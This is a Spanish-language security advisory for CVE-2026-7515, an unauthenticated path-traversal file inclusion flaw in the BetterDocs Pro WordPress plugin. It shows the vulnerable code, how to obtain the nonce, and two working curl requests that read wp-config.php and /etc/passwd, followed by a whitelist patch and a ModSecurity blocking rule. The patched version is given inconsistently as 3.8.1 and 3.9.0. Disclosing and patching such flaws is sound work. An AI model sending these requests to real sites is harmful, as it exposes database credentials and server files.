
Inclusión de archivos locales sin autenticación
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-7515 |
| Puntuación CVSS | 9.8 (Crítica) |
| Vector CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Afectado | BetterDocs Pro <= 3.8.0 |
| Parcheado | 3.8.1 |
| Investigador | Nguyen Ngoc Duc (duc193) |
| Publicado | 18 de junio de 2026 |
| CWE | CWE-98: Control Incorrecto del Nombre de Archivo para Sentencia Include/Require |
El plugin BetterDocs Pro para WordPress es vulnerable a Inclusión de Archivo Local en versiones hasta la 3.8.0 inclusive, a través del parámetro doc_style. Esto permite que atacantes no autenticados incluyan y ejecuten archivos PHP arbitrarios en el servidor.
Archivo: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Línea: 141
// CÓDIGO VULNERABLE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
Problema: La entrada controlada por el usuario desde $_POST['doc_style'] se usa directamente sin ninguna validación.
Archivo: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Línea: 195
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
Problema: La variable $doc_style (controlada por el usuario) se interpola directamente en la ruta del archivo pasada a views->get(), que incluye el archivo.
Petición HTTP POST
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
SIN VALIDACIÓN (versión vulnerable 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
Inclusión de archivo mediante include() o require()
↓
Ejecución de Código PHP Arbitrario / Lectura de Archivos
// Línea 141 en includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
// Líneas 145-148 en includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
Ambos puntos finales se registran con ganchos nopriv, lo que significa que son accesibles para usuarios no autenticados:
// Líneas 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// Líneas 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
POST /wp-admin/admin-ajax.php?action=load_more_docs_sectionPOST /wp-admin/admin-ajax.php?action=load_more_docsencyclopedia_nonce válido (se encuentra en el código fuente de la página en páginas que contienen el bloque BetterDocs Encyclopedia)# Paso 1: Leer wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# Paso 2: Leer /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
El encyclopedia_nonce está expuesto en JavaScript en las páginas donde se renderiza el bloque BetterDocs Encyclopedia:
// En betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- Esto es lo que necesitas
};
Actualizar a BetterDocs Pro versión 3.8.1 o posterior
Aplicar el siguiente parche a includes/Core/Encyclopedia.php:
// Reemplazar la línea 141 con:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
Aplicar la misma corrección en la línea 236.
Agregar regla para bloquear el salto de directorio en el parámetro doc_style:
# Bloquear doc_style con patrones de salto de ruta
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'Intento de LFI Bloqueado'"
Versión Vulnerable: betterdocs-pro_3.8.0.zip
Versión Parcheada: betterdocs-pro_3.9.0.zip
Archivos Clave:
- includes/Core/Encyclopedia.php (VULNERABLE)
- includes/Core/Scripts.php (Contiene generación de nonce)
- includes/Utils/Views.php (Lógica de inclusión de archivos)
| Aspecto | Vulnerable (3.8.0) | Parcheado (3.8.1) |
|---|
| Validación | Ninguna | Lista blanca con in_array() |
| Valores Permitidos | Cualquier cadena | Solo doc-grid, doc-list, doc-list-2 |
| Verificación de Tipo | No | Comparación estricta (===) |
| Tipo de Impacto | Severidad | Descripción |
|---|
| Confidencialidad | ALTA | Leer archivos arbitrarios (wp-config.php, /etc/passwd, etc.) |
| Integridad | ALTA | Modificar o eliminar archivos |
| Disponibilidad | ALTA | Denegación de servicio |
| Vector de Acceso | Red | Explotable remotamente |
| Privilegios | Ninguno | No se requiere autenticación |
| Interacción del Usuario | Ninguna | No es necesaria |